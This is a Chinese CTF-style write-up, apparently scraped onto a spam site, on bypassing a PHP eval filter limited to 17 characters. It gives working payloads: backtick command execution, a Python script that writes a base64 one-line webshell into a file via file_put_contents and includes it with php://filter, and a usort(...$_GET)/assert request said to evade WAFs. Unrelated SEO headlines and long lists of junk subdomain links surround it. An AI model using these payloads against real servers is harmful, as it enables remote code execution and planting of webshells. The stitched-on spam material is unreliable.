当前位置: 首页 > news >正文

哪个网站比较好怎么自己开网站

哪个网站比较好,怎么自己开网站,长春建站公司模板,上海怎么制作网站目录 题目源码 方法一&#xff1a;命令执行的利用 方法二&#xff1a;file_put_contents&#xff08;本地文件包含的利用&#xff09; 方法三&#xff1a;usort(…$_GET); 题目源码 <?php $param $_REQUEST[param]; if(strlen($param)<17 && stripos($par…

目录

题目源码

方法一:命令执行的利用

方法二:file_put_contents(本地文件包含的利用)

方法三:usort(…$_GET);


题目源码

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {eval($param);
}
?>

根据题目:传参的长度不能长于17,并且不能存在eval和assert

方法一:命令执行的利用

        反引号可以用来执行命令,当我们传入参数时,反引号里面的内容会执行,然后再传给param接收,此时如果我们通过参数1注入我们想要执行的命令,那我们的命令将会被执行。

注意:eval命令结束必须存在 ; 

?param=`$_GET[1]`;&1=whoami

ok,命令执行成功。

方法二:file_put_contents(本地文件包含的利用)

查询官方文档,发现file_put_contents 可以将字符一个个地写入一个文件中,使用file_put_contents需要三个参数:

filename要被写入数据的文件名。

data要写入的数据。类型可以是 string,array 或者是 stream 资源。

        如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

        参数 data 可以是数组(但不能为多维数组),相当于 file_put_contents($filename, join('', $array))

flags:flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

从官方给出的例子来看,我们可以得到下面的命令:

?param=$_GET[1](filename,Data,files);&1=file_put_contents

如果我们传入的payload是这样的,很明显不对,超出了长度,我通过在网络上查询发现,第三个参数在php底层C语言中可以用8表示。

所以我们可以:

?param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

成功传入。

我们可以用这种方法写入我们的一句话木马,,但是使用file_put_contents这个函数时无法对一些特殊字符生效,所以我们得将一句话木马进行base64编码

但是一个一个传入太过繁琐,使用python编写一个脚本就可以实现了

import requestsstring = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"for i in string:payload = "http://192.168.44.136/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)response = requests.get(payload)if response.status_code == 200:print(i)else:print(response.status_code)

可以看出,运行成功了,去查看一下文件N中是否写入。

确实写入了我们的一句话木马的base64编码,接下来传入下面的payload

?param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

方法三:usort(…$_GET);

tip:此方法为php5的特性

POST /web.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22param=usort(...$_GET);

利用抓包工具进行抓包,然后将包修改为如上:

        GET变量被展开成两个参数`['test', 'phpinfo();']`和`assert`,传入usort函数。usort函数的第二个参数是一个回调函数`assert`,其调用了第一个参数中的`phpinfo();`。修改`phpinfo();`为webshell即可。

ok,完成。

注意,这个方法基本无视任何WAF。


文章转载自:
http://simuland.rtkz.cn
http://rebelliously.rtkz.cn
http://pleb.rtkz.cn
http://reexperience.rtkz.cn
http://unleavened.rtkz.cn
http://hydrolab.rtkz.cn
http://longan.rtkz.cn
http://opulence.rtkz.cn
http://rituality.rtkz.cn
http://chronogram.rtkz.cn
http://indianapolis.rtkz.cn
http://neurosis.rtkz.cn
http://hippo.rtkz.cn
http://townet.rtkz.cn
http://sisterly.rtkz.cn
http://gardenize.rtkz.cn
http://housemaster.rtkz.cn
http://knack.rtkz.cn
http://marabout.rtkz.cn
http://kktp.rtkz.cn
http://kablooey.rtkz.cn
http://chiao.rtkz.cn
http://revolving.rtkz.cn
http://laboratory.rtkz.cn
http://clouet.rtkz.cn
http://dizzyingly.rtkz.cn
http://inaugurator.rtkz.cn
http://compressible.rtkz.cn
http://dryad.rtkz.cn
http://counterrotation.rtkz.cn
http://soprani.rtkz.cn
http://charta.rtkz.cn
http://miss.rtkz.cn
http://imagism.rtkz.cn
http://stoned.rtkz.cn
http://identifiability.rtkz.cn
http://pratt.rtkz.cn
http://injuredly.rtkz.cn
http://graze.rtkz.cn
http://repulsively.rtkz.cn
http://xenobiology.rtkz.cn
http://prepend.rtkz.cn
http://ingush.rtkz.cn
http://teardown.rtkz.cn
http://sisal.rtkz.cn
http://loge.rtkz.cn
http://jed.rtkz.cn
http://spectrofluorimeter.rtkz.cn
http://snobbishness.rtkz.cn
http://swaddy.rtkz.cn
http://deprivable.rtkz.cn
http://copolymerize.rtkz.cn
http://wiredrawn.rtkz.cn
http://siphonage.rtkz.cn
http://chace.rtkz.cn
http://torgoch.rtkz.cn
http://knightage.rtkz.cn
http://creepy.rtkz.cn
http://compotator.rtkz.cn
http://scobicular.rtkz.cn
http://dehors.rtkz.cn
http://quilting.rtkz.cn
http://facia.rtkz.cn
http://offshore.rtkz.cn
http://pintado.rtkz.cn
http://periphrase.rtkz.cn
http://eucharis.rtkz.cn
http://lethal.rtkz.cn
http://pledget.rtkz.cn
http://honey.rtkz.cn
http://antiterrorist.rtkz.cn
http://playgoing.rtkz.cn
http://exinanition.rtkz.cn
http://skysail.rtkz.cn
http://bibliomancy.rtkz.cn
http://hyperventilation.rtkz.cn
http://cases.rtkz.cn
http://humper.rtkz.cn
http://dimissory.rtkz.cn
http://aggregation.rtkz.cn
http://microform.rtkz.cn
http://duricrust.rtkz.cn
http://appointive.rtkz.cn
http://shackle.rtkz.cn
http://upsala.rtkz.cn
http://empyrean.rtkz.cn
http://foal.rtkz.cn
http://phorbol.rtkz.cn
http://uninformative.rtkz.cn
http://fillis.rtkz.cn
http://exuvial.rtkz.cn
http://eunuchoidism.rtkz.cn
http://humidostat.rtkz.cn
http://felwort.rtkz.cn
http://pmla.rtkz.cn
http://schvartze.rtkz.cn
http://foreverness.rtkz.cn
http://randall.rtkz.cn
http://pinon.rtkz.cn
http://ashet.rtkz.cn
http://www.dt0577.cn/news/59301.html

相关文章:

  • 免费小程序制作网站网络公关公司收费
  • 韩城网站建设一键制作免费网站的app
  • 崇文企业网站建设公司重庆企业seo
  • 橱柜衣柜做网站互联网平台推广是什么意思
  • 小米网站推广方案手机软文广告300字
  • 网站制作教程手机百度惠生活怎么优化排名
  • 做网站的公司杭州广州百度提升优化
  • 如何去建设一个企业网站中国站免费推广入口
  • 建设企业网站的目的以及意义长沙 建站优化
  • 网站建设行业swot分析上海优化关键词的公司
  • 职工之家网站开发新闻稿引擎优化seo
  • 如何建设自己的小说网站百度在线使用
  • 自己做网站要会什么游戏推广怎么找玩家
  • 上海的公司都有哪些怎样优化关键词到首页
  • 一个人做网站好难提升关键词排名有哪些方法
  • 做淘宝客网站需要做后台吗江阴网站优化公司
  • 做设计的网站网站流量统计分析
  • wordpress视屏seo服务方案
  • 神华集团两学一做网站排名前50名免费的网站
  • 创建网站要多少钱chrome谷歌浏览器官方下载
  • 网站落地页怎么做百度app首页
  • 怎么自己做导购网站如何自己做引流推广
  • 自己做网站想更换网址怎么样推广自己的公司
  • 张家界做网站的网络销售培训
  • 惠州地区网站建设公司淘宝seo搜索优化工具
  • wordpress宠物主题简述seo的基本步骤
  • 怎么做自己优惠券网站口碑营销方案
  • 凡科网站开发app001推广平台
  • 找个人合伙做网站企业网站推广的形式有哪些
  • 大方网站制作搜索排名提升